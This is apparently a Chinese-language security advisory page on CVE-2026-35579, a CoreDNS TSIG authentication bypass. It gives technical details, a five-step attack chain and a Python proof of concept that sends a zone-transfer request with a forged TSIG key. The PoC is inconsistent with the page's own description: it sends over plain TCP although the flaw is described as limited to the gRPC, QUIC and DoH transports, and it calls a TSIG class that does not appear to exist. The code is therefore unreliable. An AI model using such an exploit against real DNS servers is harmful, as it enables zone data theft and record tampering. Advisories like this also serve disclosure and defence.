IPBUF安全漏洞报告
English
CVE-2026-35579 CVSS 9.8 严重

CVE-2026-35579 CoreDNS TSIG认证绕过漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-35579
漏洞类型
认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
CoreDNS

相关标签

CoreDNS认证绕过TSIGDNS严重漏洞

漏洞概述

CoreDNS是一款用Go语言编写的DNS服务器。在1.14.3版本之前,其gRPC、QUIC、DoH及DoH3传输实现中存在TSIG认证逻辑缺陷。服务器未能正确验证HMAC或无条件返回认证成功状态,导致攻击者可绕过TSIG保护机制。未授权的网络攻击者利用此漏洞可执行区域传输、动态DNS更新等敏感操作。该漏洞CVSS评分高达9.8,对机密性、完整性和可用性造成严重影响,建议用户尽快升级修复。

技术细节

该漏洞源于CoreDNS在特定传输协议下对TSIG(Transaction SIGnature)认证机制的实现存在严重逻辑缺陷。在gRPC和QUIC传输中,服务器代码仅验证请求中携带的TSIG密钥名称是否存在于服务器配置文件中,却遗漏了关键的`dns.TsigVerify()`调用,导致未对HMAC(哈希消息认证码)进行实质性校验。只要攻击者猜测或获取到一个合法的密钥名称,无论生成的MAC是否正确,服务器的`tsigStatus`字段均会被置为nil,从而被TSIG插件误判为认证通过。更为严重的是,在DoH(DNS over HTTPS)和DoH3传输模式下,`DoHWriter.TsigStatus()`方法被硬编码为无条件返回nil,意味着服务器端完全忽略了对TSIG记录的解析与验证。攻击者无需知晓任何有效凭证,只需在请求中构造一个TSIG记录,即可伪装成合法客户端,进而绕过安全策略执行敏感操作。

攻击链分析

STEP 1
侦查
攻击者扫描网络,识别出开启了gRPC、QUIC、DoH或DoH3端口的CoreDNS服务器,并确认其版本低于1.14.3。
STEP 2
构造请求
攻击者构造一个包含TSIG记录的DNS请求(如AXFR区域传输请求)。对于DoH/DoH3,可以使用任意密钥名;对于gRPC/QUIC,需猜测或获取配置中的密钥名,但无需正确的密钥值。
STEP 3
发送攻击包
攻击者通过受影响的传输通道向服务器发送该特制请求。
STEP 4
绕过认证
由于漏洞缺陷,服务器未验证HMAC或直接忽略验证,错误地将请求视为已通过认证。
STEP 5
执行操作
攻击者成功获取敏感的DNS区域数据(AXFR)或恶意修改DNS记录(动态更新),造成信息泄露或服务篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import dns.message import dns.tsig import dns.query # CoreDNS TSIG Authentication Bypass PoC (CVE-2026-35579) # This script demonstrates sending an AXFR request with a fake TSIG key. # Due to the flaw, the server might accept it if the key name exists (gRPC/QUIC) # or accept any TSIG record (DoH/DoH3). target_ip = "192.168.1.100" # Replace with target IP zone = "example.com" # Create a DNS message for AXFR (Zone Transfer) query = dns.message.make_query(zone, 'AXFR') # Add a TSIG record with a known key name but INVALID key data # In this vulnerability, the MAC verification is skipped or ignored. key_name = "key-exists-in-config" # Attacker needs to guess this for gRPC/QUIC # For DoH/DoH3, even a random key name works. keyring = dns.tsig.HMACTSig(key_name, "bogus-key-data") query.use_tsig(keyring) try: # Send the query via TCP (Standard AXFR) response = dns.query.tcp(query, target_ip) print(f"Response status: {response}") print("If zone data is returned, the bypass is successful.") except Exception as e: print(f"Error: {e}")

影响范围

CoreDNS < 1.14.3

防御指南

临时缓解措施
如果无法立即升级,建议禁用gRPC、QUIC、DoH和DoH3监听器,或者仅允许受信任的源IP地址访问这些传输端口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表